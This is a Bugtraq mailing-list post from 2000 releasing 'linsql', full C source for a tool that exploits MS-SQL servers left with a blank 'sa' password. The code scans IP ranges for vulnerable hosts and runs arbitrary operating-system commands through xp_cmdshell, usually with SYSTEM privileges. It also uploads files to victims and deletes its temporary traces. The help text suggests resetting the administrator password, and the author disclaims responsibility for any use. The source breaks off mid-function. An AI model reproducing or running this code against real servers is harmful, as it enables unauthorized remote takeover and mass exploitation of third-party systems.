[16250] in bugtraq
MS-SQL 'sa' user exploit code
daemon@ATHENA.MIT.EDU (herbless@HUSHMAIL.COM)
Tue Aug 15 14:47:07 2000
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Date: Tue, 15 Aug 2000 04:37:36 +0000
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From: herbless@HUSHMAIL.COM
To: BUGTRAQ@SECURITYFOCUS.COM
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Hi BugTraq-ers,
It has come to light that it is now common knowledge that MS-SQL has a blank
'sa' password by default. This seems to affect a _lot_ of servers on the
internet.
Since this knowledge has been made public by others, I'll release my program
'linsql' (linux only -- ports anyone?) which can execute arbitrary commands
on an MS-SQL host that uses a blank 'sa' password. Note that these commands
are executed with the privileges of the MSSQL service - usually `NT Authority\System'.
It relies upon the 'xp_cmdshell' stored procedure, but I've never found
a server without it.
What anyone does with this program is their own business and not my problem/responsibility.
Please note that it is still very much a work-in-progress and therefore
has bugs/features that are a little unpredictable. If you fix any bugs/add
new features then please send me a patch.
--herbless@hushmail.com
---------%< snip %<-------------------------
/*
* linsql.c
*
* A simple command-line client for MS SQL server.
* Designed for executing commands on the underlying operating system rather
than SQL engine.
* That said, it has the ability to perform SQL queries on the server.
* Also added file upload system - usually works ;-) if it fails, try again.
*
* Setup to login as the user 'sa' with no password by default, although
this can be changed.
*
* KNOWN BUGS
* -=-=-=-=-=-
* - after queries that return no data, all further queries fail.Must restart
linsql. Buggy TDS library.
* - the upload seems only to work every second try... needs investigation
*
* TO DO
* -=-=-
* - add a 'download' function to leech files from target server
* - perhaps migrate away from freeTDS to a stable library... if I can
find a good open-source jobby
* - various aesthetics
* - tidy up some of the messy stuff
* - I'm sure I'll think of something else....
*
* INSTALLATION / COMPILATION
* -=-=-=-=-=-=-=-=-=-=-=-=-=
*
* At present this is known to compile and run on gnu Linux systems - others
may work...
*
* You'll need the FreeTDS version 0.50 available from http://www.freetds.org
* Unpack theFreeTDS source. I have modified the code in the following way:
*
* freetds/src/tds/token.c line 133:
*
default:
fprintf(stderr,"Unknown marker: %d!!\n",marker);
return 0;
* replace with:
default:
break;
*
* The above patch stops the freeTDS libraries from crashing when receiving
invalid data.
* Now build the libraries.
* I recommend copying the compiled freeTDS libraries into your /usr/lib
directory OR
* on most Linux distributions, add the path of the freeTDS libraries
into the /etc/ld.so.conf and run ldconfig
* Next, compile this program:
*
* gcc -o linsql linsql.c -ltds -lncurses
*
* OR
*
* gcc -o linsql linsql.c -L<path-to-TDS-libraries> -ltds -lncurses
*
* Use the first line if you've copied the freeTDS libs into /usr/bin or
modified /etc/ld.so.conf
* use the second line if you've left the libraries in the standard directory
*
* Written by Herbless - all ideas, code and bugs are mine.
*
* Last updated 07/08/2K
*
*/
#include "../freetds/include/tds.h"
#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <termios.h>
#include <curses.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <signal.h>
#define MAX_BUF_SIZE 256
#define MAX_NUM_DBS 128
#define MAX_INPUT_LEN 8192 // change this for a larger input buffer
in interactive mode
#define MAX_INPUT_LEN_UPPER_BOUNDS 50000000 // maximum ceiling available
for input buffer is 50Megs. Enough ?
#define CMD_PADDING 20
#define __PROMPT__ "linsql > "
#define UPKEY -1
#define DOWNKEY -2
#define LEFTKEY -3
#define RIGHTKEY -4
#define BACKSPACE -5
#define MAX_COMMANDS 128
#define STATUS_FILE "__linsql__scanfile__temp__"
/***********************************************************************************
* the structures we don't really need to use but do because they keep things
tidy
***********************************************************************************/
struct
{
int verbose;
int probe;
int interactive;
int username;
int password;
int app;
int charset;
int language;
int hostname;
int loginID;
int test;
int log;
int scan;
} opt;
struct
{
char IP[MAX_BUF_SIZE];
char loginID[MAX_BUF_SIZE];
char password[MAX_BUF_SIZE];
char app[MAX_BUF_SIZE];
char hostname[MAX_BUF_SIZE];
char charset[MAX_BUF_SIZE];
char language[MAX_BUF_SIZE];
char logfile[MAX_BUF_SIZE];
} target;
/***********************************************************************************
* declare the function prototypes
***********************************************************************************/
void set_target_defaults();
char *value_as_string(TDSSOCKET *tds,int col_idx);
void display_help();
void get_input_string(char *input);
void execute_query(char *query);
void execute_query2(char *query);
void display_db_list();
int do_local_command(char *buf);
void display_table_list();
void print_it(char *s, ...);
void display_options();
void upload_file(char *fname, char *path);
void list_stored_procedures();
void list_columns_in_table(char *query);
int get_key();
int get_string(char *buffer, int maxCount);
void setup_terminal(); // always call this first
void close_terminal(); // always call this before you exit() your
program
void scan_hosts(char *iprange,int cTimeout, int pTimeout, char *givenName); //
scan for vulnerable hosts
int probe_login(char *ip);
/***********************************************************************************
* mmmm, luvvly global variables. it's an easy life....
***********************************************************************************/
char *inputBuf, *execCmd,*backSpaceSequence, *cteol, *home, *commandBuf[MAX_COMMANDS];
int inputBufSize=MAX_INPUT_LEN,numCommands=0;
TDSLOGIN *login;
TDSSOCKET *tds;
FILE *logfileFP;
struct termios init_settings, new_settings;
/***********************************************************************************
* the good old main() function
***********************************************************************************/
main(int argc,char **argv)
{
int i, invalidArg=0, currArg=1, exitFlag=0, maxx, maxy,x,y, timeout, probeTimeout;
char *arg,*processName;
/*
* setup the default values
*/
memset((void *)&opt,0,sizeof(opt));
memset((void *)&target,0,sizeof(target));
processName=argv[0];
/*
* check to see if we were passed arguments. If not, display short help
screen and bail out
*/
if(argc==1)
{
printf("linsql -- by Herbless -- July 2K\n");
printf("Syntax:\n");
printf(" -i <IP address> Specify target IP\n");
printf(" -c Command-line interactive mode\n");
printf(" -v Be verbose (recommended)\n");
printf(" -p Probe for default password and exit.\n");
printf(" -u <username> Specify username\n");
printf(" -P <password> Specify password\n");
printf(" -a <appname> Give application name\n");
printf(" -C <charset> Specify charset\n");
printf(" -l <language> Choose language\n");
printf(" -h <hostname> Give client hostname\n");
printf(" -L <logname> Log all I/O to <logname> in append
mode\n");
printf(" -s <IP range> [ct] [pt] Scan for vulnerable hosts\n");
printf(" <IP range> in the format a.b.c.d-
e or a.b.c-d.e-f etc.\n");
printf(" connect with timeout of [ct] seconds
(optional. Default=4)\n");
printf(" login probe timeout at [pt] seconds
(optional. Default=10)\n");
printf(" -t Test mode. Used for debugging with
no remote connection.\n\n");
printf("Examples:\n");
printf(" linsql -c -v -i 192.168.0.1 Connect to host 192.168.0.1
with username 'sa'\n");
printf(" and the default blank
password. If login is\n");
printf(" successful, gives a
command prompt.\n\n");
printf(" linsql -p -i 192.168.0.1 Probes 192.168.0.1
and reports if logon succeeded.\n\n");
printf(" linsql -s 192.168.0.1-10 Scans the hosts 192.168.0.1
- 192.168.0.10\n");
printf(" and displays the ones
where login was successful.\n\n");
exit(1);
}
/*
* parse all the arguments passed from the shell
*/
argv++;
while(*argv!=NULL&&invalidArg==0)
{
arg=*(argv++);
if(arg[0]=='-')
{
switch(arg[1])
{
case 'i': // get IP address
arg=*(argv++);
strncpy(target.IP,arg,MAX_BUF_SIZE);
break;
case 'p': // set probe mode
opt.probe=1;
break;
case 'c': // set interactive mode
opt.interactive=1;
break;
case 'v': // set the verbose mode
opt.verbose=1;
break;
case 't':
opt.test=1;
break;
case 'u': // change the login name (default 'sa')
arg=*(argv++);
strncpy(target.loginID,arg,MAX_BUF_SIZE);
opt.username=1;
break;
case 'P': // specify a password (default is blank)
arg=*(argv++);
strncpy(target.password,arg,MAX_BUF_SIZE);
opt.password=1;
break;
case 'a': // specify application to pretend to be
arg=*(argv++);
strncpy(target.app,arg,MAX_BUF_SIZE);
opt.app=1;
break;
case 'C': // change character set (default us_english)
arg=*(argv++);
strncpy(target.charset,arg,MAX_BUF_SIZE);
opt.charset=1;
break;
case 'l': // change language (default iso_1)
arg=*(argv++);
strncpy(target.language,arg,MAX_BUF_SIZE);
opt.language=1;
break;
case 'h': // give client hostname (default mypc)
arg=*(argv++);
strncpy(target.hostname,arg,MAX_BUF_SIZE);
opt.hostname=1;
break;
case 'L': // do we want logging turned on
arg=*(argv++);
strncpy(target.logfile,arg,MAX_BUF_SIZE);
opt.log=1;
break;
case 's':
if(argc < 3)
printf("You must at least specify an IP address or IP range.\n");
arg=*(argv++);
if(*argv!=NULL && **argv!='-')
{
timeout=atoi(*(argv++));
if(*argv!=NULL && **argv!='-')
{
probeTimeout=atoi(*(argv++));
}
else
probeTimeout=10;
}
else
{
timeout=4;
probeTimeout=10;
}
strncpy(target.IP, arg,MAX_BUF_SIZE);
opt.scan=1;
break;
default: // any other commandline args are invalid
invalidArg=1;
break;
}
}
else
invalidArg=1;
currArg++;
}
/*
* make sure all is OK with the passed arguments
*/
if(invalidArg)
{
printf("Invalid argument - '%s'\n", arg);
exit(1);
}
if(target.IP[0]==0)
{
printf("If you want to connect you must give an IP!\n");
exit(1);
}
if(opt.probe&&opt.interactive)
{
printf("It makes no sense to probe in interactive mode. Choose only one.\n");
exit(1);
}
if(opt.log)
{
if((logfileFP=fopen(target.logfile,"wa"))==NULL)
{
printf("Could not write to logfile \"%s\"\n",target.logfile);
exit(1);
}
}
if(opt.probe==0&&opt.interactive==0)
{
opt.probe=1;
if(opt.verbose)
print_it("- No connect mode given. Assuming probe mode.\n");
}
if(opt.verbose)
display_options();
/*
* setup the call to connect()
*/
set_target_defaults();
/*
* display messages in verbose mode
*/
if(opt.verbose&&opt.probe)
print_it("- Probing target [%s]...\n", target.IP);
else
if(opt.verbose&&opt.interactive)
print_it("- Attempting interactive command-prompt mode with [%s]...\n",
target.IP);
/*
* is this a mass scan?
*/
if(opt.scan==1)
{
print_it("Scanning %s with connect timeout=%d secs, probe timeout=%d secs.\n",
arg, timeout, probeTimeout);
scan_hosts(target.IP, timeout, probeTimeout, processName);
exit(0);
}
/*
* Attempt to login to server
*/
if(opt.test==0)
if((tds = tds_connect(login))==NULL)
{
tds_free_login(login);
if(opt.verbose)
print_it("- Login to [%s] failed.\n", target.IP);
exit(1);
}
/*
* Success... we're logged into the SQL server. We can have our wicked way
:)
*
* call this function to initialize my little keyboard routines
*/
setup_terminal();
if(opt.verbose)
print_it("- Login to [%s] succeeded %s\n", target.IP,(opt.test==1)?"(TEST
MODE)":"");
else
if(opt.probe)
print_it("*** Login to [%s] succeeded %s ***\n", target.IP,(opt.test==1)?"(TEST
MODE)":"");
if(opt.interactive)
{
if(opt.verbose)
print_it("- Entering interactive mode. Remember this isn't a shell.\n");
if((inputBuf=(char *)malloc(MAX_INPUT_LEN))==NULL)
{
print_it("Out of memory allocating input buffer\n");
exit(1);
}
if((execCmd=(char *)malloc(MAX_INPUT_LEN+CMD_PADDING))==NULL)
{
printf("Out of memory allocating command buffer with padding\n");
exit(1);
}
print_it("Type /h or /? for help\n");
/*
* this is the command-line code
*/
while(exitFlag==0)
{
memset(inputBuf,0,MAX_INPUT_LEN);
print_it(__PROMPT__);
fflush(stdout); // needed, for prompt to be displayed without
adding a cr/lf pair after it
get_string(inputBuf,MAX_INPUT_LEN); // read command from keyboard
if(inputBuf[0]=='/') // is it a local command ?
exitFlag=do_local_command(inputBuf);
else
if(inputBuf[0]!='\0') // valid buffer ?
{
strcpy(execCmd, "xp_cmdshell '"); // cheap n cheerful way to build query
string without escaping/formatting it
strcat(execCmd, inputBuf);
strcat(execCmd, "'");
if(opt.verbose)
print_it("\nExecuting [%s]\n",execCmd);
else
print_it("\n");
execute_query(execCmd);
}
else
printf("\n");
}
}
/*
* tidy up and exit cleanly
*/
if(opt.verbose)
print_it("- Tearing down the connection...\n");
if(opt.test==0)
tds_free_socket(tds);
tds_free_login(login);
if(opt.verbose)
{
print_it("- Disconnected\n");
print_it("- Freeing dynamic memory...\n");
}
free(execCmd);
free(inputBuf);
if(opt.verbose)
print_it("- All done. Have a nice day!\n");
close_terminal();
exit(0);
}
/***********************************************************************************
* functions go here.....
***********************************************************************************/
/*
* guess what this does
*/
void display_options()
{
print_it("- Using options:\n");
print_it("\tTarget IP: %s\n", target.IP);
if(opt.probe) print_it("\tProbe mode\n");
if(opt.interactive) print_it("\tInteractive mode\n");
if(opt.username) print_it("\tUsername (login) \"%s\"\n",target.loginID);
if(opt.password) print_it("\tPassword ******\n");
if(opt.hostname) print_it("\tHostname \"%s\"\n",target.hostname);
if(opt.app) print_it("\tApplication name \"%s\"\n",target.app);
if(opt.language) print_it("\tLanguage \"%s\"\n",target.language);
if(opt.charset) print_it("\tCharset \"%s\"\n",target.charset);
if(opt.log) print_it("\tLogging to file \"%s\"\n",target.logfile);
if(opt.test) print_it("\tTest mode - no connect()\n");
}
/*
* duh, guess what this does
*/
void display_help()
{
print_it("\nlinsql -- by Herbless -- July 2K\n");
print_it("All local commands begin with a '/' character.\n\n");
print_it(" /? or /h - This guff\n");
print_it(" /s <COMMAND> - Send COMMAND as a literal string to the
SQL server.\n");
print_it(" Can be used to perform SELECT queries etc.\n");
print_it(" Eg. /s SELECT * FROM foo WHERE bar=\"boz\"\n");
print_it(" /u <DATABASE> - Use DATABASE as the active database.\n");
print_it(" /d - Display a list of databases held on server\n");
print_it(" /t - Display a list of tables in current database\n");
print_it(" /v - Toggle verbose mode\n");
print_it(" /l - Toggle logging mode\n");
print_it(" /L <FILENAME> - Change logfile to FILE\n");
print_it(" /o - Display current options\n");
print_it(" /a <BUFFERSIZE> - Allocate BUFFERSIZE bytes for input buffer.
%d is current size.\n", inputBufSize);
print_it(" /U <FILE> <DEST> - Upload local FILE to remote DEST directory.\n");
print_it(" Eg. /U myfile.txt c:\\temp\n");
print_it(" /p - Print a list of the stored procdures on
the server\n");
print_it(" /c - Display the columns in the given the table.\n");
print_it(" /q - Disconnect and quit\n\n");
print_it("Anything else will be passed to the 'xp_cmdshell' stored procedure
and executed by the OS.\n");
print_it("So, you could issue a 'net user administrator \"\"' command for
example.\n");
print_it("Note that you cannot use the ' character as it is the SQL query
delimiter. Use \" instead.\n\n");
}
/*
* interpret and act upon '/' local commands
*/
int do_local_command(char *buf)
{
char *ptr, *fptr, *pptr, fname[MAX_BUF_SIZE], path[MAX_BUF_SIZE];
int exitFlag=0, newSize;
if(buf[1]=='q') // bail out
exitFlag=1;
else
if(buf[1]=='?'||buf[1]=='h') // display help
display_help();
else
if(buf[1]=='s') // execute a MS-SQL server command, not an operating
system one
{
if(strlen(buf)>3)
{
strcpy(execCmd,buf+3);
if(opt.verbose)
print_it("\nExecuting [%s]\n",execCmd);
execute_query(execCmd);
}
else
print_it("\nYou must specify a command to execute!\n");
}
else
if(buf[1]=='d') // show databases
display_db_list();
else
if(buf[1]=='t') // show tables in database
display_table_list();
else
if(buf[1]=='l') // toggle logging on/off
{
opt.log=1-opt.log;
if(opt.log)
{
if((logfileFP=fopen(target.logfile,"wa"))==NULL)
{
print_it("Failed to open the logfile \"%s\" in append mode.\n",target.logfile);
opt.log=0;
}
}
else
fclose(logfileFP);
print_it("Logging %s\n", (opt.log==1)?"on":"off");
}
else
if(buf[1]=='o') // show the current options
{
display_options();
}
else
if(buf[1]=='L') // change log file
{
if(opt.log)
fclose(logfileFP);
strncpy(target.logfile, buf+3, MAX_BUF_SIZE);
opt.log=1;
if((logfileFP=fopen(target.logfile,"wa"))==NULL)
{
print_it("Failed to open the logfile \"%s\" in append mode.\n",target.logfile);
opt.log=0;
}
else
print_it("Log file changed to \"%s\"\n",target.logfile);
print_it("Logging %s\n", (opt.log==1)?"on":"off");
}
else
if(buf[1]=='u') // change current db
{
if(strlen(buf)>3)
{
strcpy(execCmd, "use ");
strcat(execCmd,buf+3);
if(opt.verbose)
print_it("\nExecuting [%s]\n",execCmd);
execute_query(execCmd);
}
else
print_it("\nYou must specify database to make active!\n");
}
else
if(buf[1]=='v') // toggle verbose mode
{
opt.verbose=1-opt.verbose;
print_it("\nVerbose mode %s\n",(opt.verbose==0)?"off":"on");
}
else
if(buf[1]=='a') // change size of allocated input buffer
{
if(strlen(buf)>3)
{
newSize=atoi(buf+3);
if(newSize < 8192 || newSize > MAX_INPUT_LEN_UPPER_BOUNDS)
print_it("The size %d is out of bounds.\nChoose a buffer between %d
and %d bytes\n", newSize,MAX_INPUT_LEN,MAX_INPUT_LEN_UPPER_BOUNDS);
else
{
inputBufSize=newSize;
if((ptr=(char *)realloc(inputBuf, inputBufSize))==NULL)
print_it("Not enough memory for that input buffer.\nKeeping original
buffer size.");
else
{
inputBuf=ptr;
print_it("Allocated %d bytes for input buffer\n",inputBufSize);
}
if((ptr=(char *)realloc(execCmd, inputBufSize+CMD_PADDING))==NULL)
{
print_it("Not enough memory for the exec buffer.\nKeeping original
buffer size.");
inputBuf=(char *)realloc(inputBuf,MAX_INPUT_LEN); // if the execCmd
buffer alloc fails, we have to realloc the inputBuf also
}
else
{
execCmd=ptr;
print_it("Allocated %d bytes for exec buffer\n", inputBufSize+CMD_PADDING);
}
}
}
else
print_it("You must specify a new size in bytes\n");
}
else
if(buf[1]=='U')
{
ptr=buf+2;
if(*ptr!=' ')
{
print_it("Invalid upload\n");
return exitFlag;
}
fptr=fname;
pptr=path;
while(*ptr==' ') // skip blanks after '/U'
ptr++;
while(*ptr!=' '&&*ptr!='\0') // copy filename into buffer
*(fptr++)=*(ptr++);
if(*ptr!=' ') // make sure there is something after the filename
{
print_it("Invalid upload\n");
return exitFlag;
}
ptr++;
while(*ptr!=' '&&*ptr!='\0') // copy path for dest file on remote server
into buffer
*(pptr++)=*(ptr++);
*fptr='\0'; // null terminate the buffers
*pptr='\0';
upload_file(fname, path); // upload it! remember the filename is local
and may contain directoty parameters...
}
else
if(buf[1]=='p')
{
list_stored_procedures();
}
else
if(buf[1]=='c')
{
if(strlen(buf)>3)
{
strcpy(execCmd, "sp_columns ");
strcat(execCmd,buf+3);
if(opt.verbose)
print_it("\nExecuting [%s]\n",execCmd);
list_columns_in_table(execCmd);
}
else
print_it("\nYou must specify a table to to be able to list the columns\n");
}
else
print_it("\nOut of cheese error - redo from start.\n"); // invalid local
command
return exitFlag;
}
/*
* send a prepared query to the MS SQL server
* display all output nicely on the screen
* gets messy with lines wider than the terminal width. to be fixed :)
* the function is from the FreeTDS example code with some changes
*/
void execute_query(char *query)
{
int i, rowc=999,resultc=999, row, count=0, gotInside=0;
if(opt.test==0)
{
//print_it("*** calling tds_submit_query() ***\n");fflush(stdout);
if(tds_submit_query(tds,query)==TDS_FAIL)
{
if(opt.verbose)
printf("TDS FAIL on tds_submit_query()\n");
return;
}
//print_it("*** Entering first loop ***\n");
while((resultc=tds_process_result_tokens(tds))==TDS_SUCCEED)
{
gotInside=1;
//print_it("*** Entering second loop ***\n");
while((rowc=tds_process_row_tokens(tds))==TDS_SUCCEED)
{
for (i=0; i<tds->res_info->num_cols; i++)
print_it("[%s] - %s\n", tds->res_info->columns[i]->column_name,value_as_string(tds,
i));
count++;
}
}
if(count==0)
if(opt.verbose)
print_it("resultc=%d, rowc=%d,gotInside=%d\n",resultc,rowc,gotInside);
}
}
/*
* use an 'sp_tables' stored procedure call to get a list of tables in the
current database
* will fail with unpredictable results if the procedure doesn't exist
*/
void display_table_list()
{
int i, resultc=999,rowc=999, row, count=0,gotInside=0;
if(opt.test==0)
{
printf("\n");
if(tds_submit_query(tds,"sp_tables")==TDS_FAIL)
{
if(opt.verbose)
printf("TDS FAIL on tds_submit_query()\n");
return;
}
while((resultc=tds_process_result_tokens(tds))==TDS_SUCCEED)
{
gotInside=1;
while((rowc=tds_process_row_tokens(tds))==TDS_SUCCEED)
{
for(i=0; i<tds->res_info->num_cols; i++)
if(strcmp(tds->res_info->columns[i]->column_name, "TABLE_NAME")==0)
print_it("\n%s",value_as_string(tds, i));
count++;
}
}
printf("\n\n");
}
}
/*
* use an 'sp_databases' stored procedure call to get a list of databases
from the server
* will fail with unpredictable results if the procedure doesn't exist
*/
void display_db_list()
{
int i, resultc=999,rowc=999, row, count=0,gotInside=0;
if(opt.test==0)
{
printf("\n");
if(tds_submit_query(tds,"sp_databases")==TDS_FAIL)
{
if(opt.verbose)
printf("TDS FAIL on tds_submit_query()\n");
return;
}
while((resultc=tds_process_result_tokens(tds))==TDS_SUCCEED)
{
gotInside=1;
while((rowc=tds_process_row_tokens(tds))==TDS_SUCCEED)
{
for(i=0; i<tds->res_info->num_cols; i++)
if(strcmp(tds->res_info->columns[i]->column_name, "")==0||strcmp(tds-
>res_info->columns[i]->column_name, "DATABASE_NAME")==0)
print_it("\n%s",value_as_string(tds, i));
count++;
}
}
printf("\n\n");
}
}
/*
* get a string and chop off the new-line added by the dumb-ass fgets(...)
*/
void get_input_string(char *input)
{
memset(input, 0, MAX_INPUT_LEN);
fgets(input, MAX_INPUT_LEN-1,stdin);
input[strlen(input)-1]='\0';
}
/*
* setup the initial values for the connection parameters
* these may be changed by arguments on the commandline
*/
void set_target_defaults()
{
strncpy(target.loginID,"sa",MAX_BUF_SIZE);
strncpy(target.password,"",MAX_BUF_SIZE);
strncpy(target.language,"us_english",MAX_BUF_SIZE);
strncpy(target.charset,"iso_1",MAX_BUF_SIZE);
strncpy(target.hostname,"mypc",MAX_BUF_SIZE);
strncpy(target.app,"Microsoft Access",MAX_BUF_SIZE);
login = tds_alloc_login();
tds_set_passwd(login,target.password);
tds_set_user(login,target.loginID);
tds_set_app(login,target.app);
tds_set_host(login,target.hostname);
tds_set_library(login,"TDS-Library");
tds_set_charset(login,target.charset);
tds_set_language(login,target.language);
tds_set_server(login,target.IP);
tds_set_packet(login,512);
}
/*
* This function plucked straight from the FreeTDS example code
* modified to display strings as the default value instead of an error
message
*/
char *value_as_string(TDSSOCKET *tds,int col_idx)
{
static char result[256];
const int type = tds->res_info->columns[col_idx]->column_type;
const char *row = tds->res_info->current_row;
const int offset = tds->res_info->columns[col_idx]->column_offset;
const void *value = (row+offset);
switch(type)
{
case SYBVARCHAR:
{
strncpy(result, (char *)value, sizeof(result)-1);
result[sizeof(result)-1] = '\0';
break;
}
case SYBINT4:
{
sprintf(result, "%d", *(int *)value);
break;
}
default:
{
strncpy(result, (char *)value, sizeof(result)-1);
result[sizeof(result)-1] = '\0';
//strcpy(result, "NotImp");
break;
}
}
return result;
}
/*
* print to screen and, if necessary, the log file
*/
void print_it(char *s, ...)
{
va_list ap;
va_start(ap, s);
vprintf(s, ap);
if(opt.log&&logfileFP!=NULL)
vfprintf(logfileFP,s,ap);
va_end(ap);
}
/*
* upload a file from the local filesystem to the remote machine
* known to be buggy: fails on every second attempt
*/
void upload_file(char *fname, char *path)
{
FILE *fp;
unsigned char *uploadBuf, buf[10], *ptr, *fptr;
int start, end, size, verboseSave, i, ch;
print_it("*** Beginning file upload ***\n");
/*
* first, before I forget, strip out the directory path from the given filename
so things don't get fucked up later.
* at the end of the loop fptr will point to a bare filename. path will
have any trailing slashes dropped
*/
size=strlen(fname);
ptr=fname+size;
while(size--)
{
if(*ptr=='/')
{
fptr=ptr+1;
break;
}
ptr--;
}
if(size<=0)
fptr=ptr;
if(path[strlen(path)-1]=='\\') // chop any trailing slashes entered by
dumb haxors ;)
path[strlen(path)-1]='\0';
verboseSave=opt.verbose;
opt.verbose=0; // stop execute_query() from shouting about what it's
doing. makes things neater
print_it("- opening file to upload...\n");
if((fp=fopen(fname,"r"))==NULL)
{
print_it("Cannot open \"%s\"\nUpload failed\n", fname);
return;
}
start=ftell(fp); // should always be zero
fseek(fp,0,SEEK_END);
end=ftell(fp); // should be last byte of file.
fseek(fp,0,SEEK_SET);
size=end-start; // get size of file
i=256+(size*2)+(CMD_PADDING*2);
print_it("- allocating memory (%d bytes) for file of size %d bytes...\n",
i, size);
uploadBuf=(unsigned char *)malloc(i); // scrappy memory alloc should work
in most cases :)
if(uploadBuf==NULL)
{
printf("Not enough memory. Get a proper computer\nUpload failed\n");
fclose(fp);
return;
}
print_it("- using master database\n");
execute_query("use master");
print_it("- dropping any old haxortable's\n");
execute_query("drop table haxortable");
print_it("- creating table \"haxortable\"\n");
execute_query("create table haxortable (upload image)");
print_it("- building query string to insert file into table...\n");
strcpy(uploadBuf, "insert into haxortable (upload) values(0x"); // start
the query string
i=0;
ptr=uploadBuf+strlen(uploadBuf);
do
{
if(fread(&ch,1,1,fp))
{ // read byte from file
sprintf(buf, "%2x", ch); // convert to hex pair
if(buf[0]==' ') // make sure its a pair for single digits
buf[0]='0';
*(ptr++)=buf[0]; // tag it on the end of the query string
*(ptr++)=buf[1];
}
}while(!feof(fp));
*(ptr++)=')';
*(ptr++)='\0'; // finish the query string
fclose(fp);
print_it("- insert the file into the temporary table...\n");
execute_query(uploadBuf); // stuff the file into the table
print_it("- build a file for redirecting bcp commands");fflush(stdout);
execute_query("xp_cmdshell 'echo.> c:\\temp\\bcp.cmd'");print_it(".");fflush(stdout);
execute_query("xp_cmdshell 'echo 0 >> c:\\temp\\bcp.cmd'");print_it(".");fflush(stdout);
execute_query("xp_cmdshell 'echo.>> c:\\temp\\bcp.cmd'");print_it(".");fflush(stdout);
execute_query("xp_cmdshell 'echo.>> c:\\temp\\bcp.cmd'");print_it(".\n");fflush(stdout);
print_it("- 'bcp' the file out of the database...\n");
sprintf(uploadBuf, "xp_cmdshell 'type c:\\temp\\bcp.cmd | bcp haxortable
out %s\\%s -U %s -P %s > nul'",path,fptr,target.loginID,target.password);
execute_query(uploadBuf);
print_it("*** Wooha! File uploaded to server. Time to cleanup ***\n");
print_it("- removing bcp command file...\n");
execute_query("xp_cmdshell 'echo aaaaaaaaaaaaaaaaa > c:\\temp\\bcp.cmd'"); //
overwrite the file with junk
execute_query("xp_cmdshell 'del c:\\temp\\bcp.cmd'");
print_it("- drop haxortable\n");
execute_query("drop table haxortable");
print_it("*** All done. \"%s\" should now be on the remote server in \"%s\"
***\n",fptr,path);
free(uploadBuf); // remember to free the memory
/*
* this is a kludge, cos the tds_query routine fucks up with null return
strings
*/
print_it("- Reconnecting as a kludge to fix broken TDS library...\n");
if(opt.test==0)
tds_free_socket(tds);
tds_free_login(login);
login = tds_alloc_login();
tds_set_passwd(login,target.password);
tds_set_user(login,target.loginID);
tds_set_app(login,target.app);
tds_set_host(login,target.hostname);
tds_set_library(login,"TDS-Library");
tds_set_charset(login,target.charset);
tds_set_language(login,target.language);
tds_set_server(login,target.IP);
tds_set_packet(login,512);
if(opt.test==0)
if((tds = tds_connect(login))==NULL)
{
tds_free_login(login);
if(opt.verbose)
print_it("- Reconnect to [%s] failed.\n", target.IP);
exit(1);
}
print_it("- Kludge complete\n");
/*
* end of kludge
*/
opt.verbose=verboseSave;
}
/*
* give a list of the stored procedures that are handled by the remote system
*/.
void list_stored_procedures()
{
int i, resultc=999,rowc=999, row, count=0,gotInside=0;
if(opt.test==0)
{
printf("\n");
if(tds_submit_query(tds,"sp_help")==TDS_FAIL)
{
if(opt.verbose)
printf("TDS FAIL on tds_submit_query()\n");
return;
}
while((resultc=tds_process_result_tokens(tds))==TDS_SUCCEED)
{
gotInside=1;
while((rowc=tds_process_row_tokens(tds))==TDS_SUCCEED)
{
for(i=0; i<tds->res_info->num_cols; i++)
if(strcmp(tds->res_info->columns[i]->column_name, "Name")==0)
print_it("%s\n",value_as_string(tds, i));
count++;
}
}
printf("\n");
}
}
/*
* does exactly what it says on the box
*/
void list_columns_in_table(char *query)
{
int i, resultc=999,rowc=999, row, count=0,gotInside=0;
if(opt.test==0)
{
printf("\n");
if(tds_submit_query(tds,query)==TDS_FAIL)
{
if(opt.verbose)
printf("TDS FAIL on tds_submit_query()\n");
return;
}
while((resultc=tds_process_result_tokens(tds))==TDS_SUCCEED)
{
gotInside=1;
while((rowc=tds_process_row_tokens(tds))==TDS_SUCCEED)
{
for(i=0; i<tds->res_info->num_cols; i++)
if(strcmp(tds->res_info->columns[i]->column_name, "COLUMN_NAME")==0)
print_it("%s\n",value_as_string(tds, i));
count++;
}
}
printf("\n");
}
}
/*
* uninitialize the curses stuff, then free all the memory allocated for
the command history
*/
void close_terminal()
{
tcsetattr(fileno(stdin),TCSANOW, &init_settings);
while(numCommands--)
free(commandBuf[numCommands]);
}
/*
* setup the curses stuff
*/
void setup_terminal()
{
setupterm(NULL, fileno(stdout), (int *)0);
tcgetattr(fileno(stdin), &init_settings);
new_settings=init_settings;
new_settings.c_lflag &= ~ICANON;
new_settings.c_lflag &= ~ECHO;
new_settings.c_cc[VMIN]=1;
new_settings.c_cc[VTIME]=0;
tcsetattr(fileno(stdin),TCSANOW, &new_settings);
backSpaceSequence=tigetstr("cub1");
cteol=tigetstr("dl1");
}
/*
* this function gets a string from the keyboard
* it can be from the command history or a fresh string just typed in
* will eventually have line-editing capabilities
*/
int get_string(char *buffer, int maxCount)
{
int currChar=0,ch, cmdNum;
cmdNum=numCommands;
memset(buffer,0,maxCount);
do
{
ch=get_key();
if(ch>0 &&ch!='\r'&&ch!='\n'&&isprint(ch))
{
buffer[currChar++]=ch;
printf("%c",ch);
}
else
if(ch==UPKEY)
{
if(cmdNum)
{
putp(cteol);
while(currChar--)
{
putp(backSpaceSequence);
printf(" ");
putp(backSpaceSequence);
}
memset(buffer,0,maxCount);
cmdNum--;
strcpy(buffer,commandBuf[cmdNum]);
currChar=strlen(buffer);
printf("%s",buffer);
}
}
else
if(ch==DOWNKEY)
{
if(cmdNum<numCommands-1)
{
putp(cteol);
while(currChar--)
{
putp(backSpaceSequence);
printf(" ");
putp(backSpaceSequence);
}
memset(buffer,0,maxCount);
cmdNum++;
strcpy(buffer,commandBuf[cmdNum]);
currChar=strlen(buffer);
printf("%s",buffer);
}
}
else
{
if(ch==BACKSPACE&&currChar)
{
putp(backSpaceSequence);
printf(" ");
putp(backSpaceSequence);
currChar--;
buffer[currChar]='\0';
}
}
}while(ch!='\n'&&ch!='\r'&&currChar<maxCount);
buffer[currChar]='\0';
if(numCommands)
{
if(strcmp(commandBuf[numCommands-1], buffer)!=0)
{
commandBuf[numCommands]=(char *)malloc(MAX_INPUT_LEN);
memset(commandBuf[numCommands],0,MAX_INPUT_LEN);
strcpy(commandBuf[numCommands], buffer);
numCommands++;
}
}
else
{
commandBuf[numCommands]=(char *)malloc(MAX_INPUT_LEN);
